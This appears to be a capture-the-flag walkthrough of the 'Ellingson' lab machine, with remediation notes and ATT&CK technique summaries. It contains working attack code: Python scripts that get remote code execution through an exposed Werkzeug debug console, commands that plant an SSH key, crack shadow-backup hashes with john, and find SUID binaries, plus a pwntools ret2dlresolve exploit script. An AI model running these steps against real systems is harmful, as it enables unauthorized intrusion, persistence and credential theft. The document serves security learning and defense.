Ellingson
Summary
Recon showed nginx 1.14.0 (Ubuntu) front-ending a Flask app (redirect to /index, "Theory by TEMPLATED" static site). No robots.txt/.git exposure. Fuzzing revealed an /articles/<name> route that throws an unhandled exception on an invalid article name, returning a Flask/Werkzeug 500 traceback. Because Werkzeug's debug mode was enabled, the traceback exposed an interactive Werkzeug debug console (secret token + per-frame ID embedded in the error page). Requesting /console with the extracted SECRET and frame-<id> values granted an interactive Python evaluator on the traceback frame — full RCE as hal (Werkzeug debugger PIN was not required; the exposed secret/frame combo was sufficient). os.system() calls returned no output, so all commands were run via subprocess.check_output(..., shell=True).
Through this console: read /home/hal/user.txt (user_flag=[REDACTED: flag]), and appended an operator-generated ed25519 public key to /home/hal/.ssh/authorized_keys (with directory/file permission fixups, since ~hal was not group/world readable). Continued privilege discovery through the same debug console found /var/backups/shadow.bak — a world-readable copy of /etc/shadow. Extracted hashes and cracked them offline with john (--format=crypt, rockyou wordlist) plus a manual crypt() brute of iamgod$08 variants, recovering: - margo:iamgod$08 - theplague:password123
su - margo (via script -q /dev/null to force a pty for su) confirmed the credential. From margo's context, /usr/bin/garbage was identified as a SUID-root ELF binary. It was pulled to the attack host (base64 exfil through the debug console) and analyzed with objdump/nm/readelf/ROPgadget (no stack canary; a fixed-size stack buffer in auth() reachable from main() via getchar/read). Exploit development iterated through several failed ret2libc/GOT-overwrite/ROP-chain attempts before succeeding with pwntools' Ret2dlresolvePayload (system("/bin/bash -p -c 'id; cat /root/root.txt'") via dynamic-linker resolution against the buffer overflow offset). Running /usr/bin/garbage with the crafted payload (delivered again through the debug-console RCE channel) executed system() as root, dumping root_flag=[REDACTED: flag].
Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80 --script http-title,http-server-header $TARGETcurl -siL http://$TARGET/ | head -40Exact commands 2
curl -i http://$TARGET/articles/foocurl -si http://$TARGET/articles/foo | grep -E 'SECRET|id="frame-'FixDisable Werkzeug debug mode before deploying any Flask application to productionCritical
Exact commands 2
python3 - <<'PY'
import re, requests
base = 'http://$TARGET/articles/foo'
r = requests.get(base, timeout=8)
html = r.text
secret=[REDACTED: protected value]'SECRET=[REDACTED: protected value]]+)"', html).group(1)
frm = re.findall(r'id="frame-([0-9]+)"', html)[0]
cmd = "__import__('subprocess').check_output('id', shell=True).decode()"
params = {'__debugger__': 'yes', 'cmd': cmd, 'frm': frm, 's': secret}
print(requests.get(base, params=params, timeout=8).text[:600])
PYpython3 - <<'PY'
import re, requests
base = 'http://$TARGET/articles/foo'
r = requests.get(base, timeout=8)
html = r.text
secret=[REDACTED: protected value]'SECRET=[REDACTED: protected value]]+)"', html).group(1)
frm = re.findall(r'id="frame-([0-9]+)"', html)[0]
cmd = "__import__('subprocess').check_output('cat /home/hal/user.txt', shell=True).decode()"
params = {'__debugger__': 'yes', 'cmd': cmd, 'frm': frm, 's': secret}
print(requests.get(base, params=params, timeout=8).text[:200])
PYFixDisable Werkzeug debug mode before deploying any Flask application to productionCritical
Exact commands 3
ssh-keygen -t ed25519 -f /tmp/hal_key -N ''python3 - <<'PY'
import re, requests
base = 'http://$TARGET/articles/foo'
r = requests.get(base, timeout=8)
html = r.text
secret=[REDACTED: protected value]'SECRET=[REDACTED: protected value]]+)"', html).group(1)
frm = re.findall(r'id="frame-([0-9]+)"', html)[0]
pubkey = '<contents of /tmp/hal_key.pub>'
for c in [
"__import__('subprocess').check_output('mkdir -p /home/hal/.ssh && chmod 700 /home/hal /home/hal/.ssh', shell=True)",
f"__import__('subprocess').check_output(\"printf '%s\\n' '{pubkey}' >> /home/hal/.ssh/authorized_keys && chmod 600 /home/hal/.ssh/authorized_keys\", shell=True)"
]:
params = {'__debugger__': 'yes', 'cmd': c, 'frm': frm, 's': secret}
requests.get(base, params=params, timeout=8)
print('done')
PYssh -i /tmp/hal_key -o StrictHostKeyChecking=no hal@$TARGETFixDisable Werkzeug debug mode before deploying any Flask application to productionCritical
Exact commands 4
ls -la /var/backups/shadow.bak && cat /var/backups/shadow.bakgrep -E '^(margo|theplague|duke):' /var/backups/shadow.bak > /tmp/ellingson_hashes.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt /tmp/ellingson_hashes.txtjohn --show --format=crypt /tmp/ellingson_hashes.txtFixRestrict permissions on shadow backup files and enforce strong account passwordsCritical
Exact commands 2
script -q /dev/null -c 'su - margo'id && groupsFixRestrict permissions on shadow backup files and enforce strong account passwordsCritical
Exact commands 6
find / -perm -4000 -user root -exec ls -la {} \; 2>/dev/nullbase64 /usr/bin/garbage | base64 -d > /tmp/garbagechecksec --file=/tmp/garbageROPgadget --binary /tmp/garbage | grep -E 'pop rdi|: ret$'python3 - <<'PY'
from pwn import *
context.arch = 'amd64'
elf = ELF('/tmp/garbage', checksec=False)
dl = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
offset = cyclic_find(b'<value from crash eip/rip>') # replace with value from gdb cyclic run
rop.raw(b'A' * offset)
rop.ret2dlresolve(dl)
payload = rop.chain() + dl.payload
print(hexdump(payload))
PYpython3 exploit_garbage.pyFixRemove the SUID bit from /usr/bin/garbage and recompile with memory-safety mitigationsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |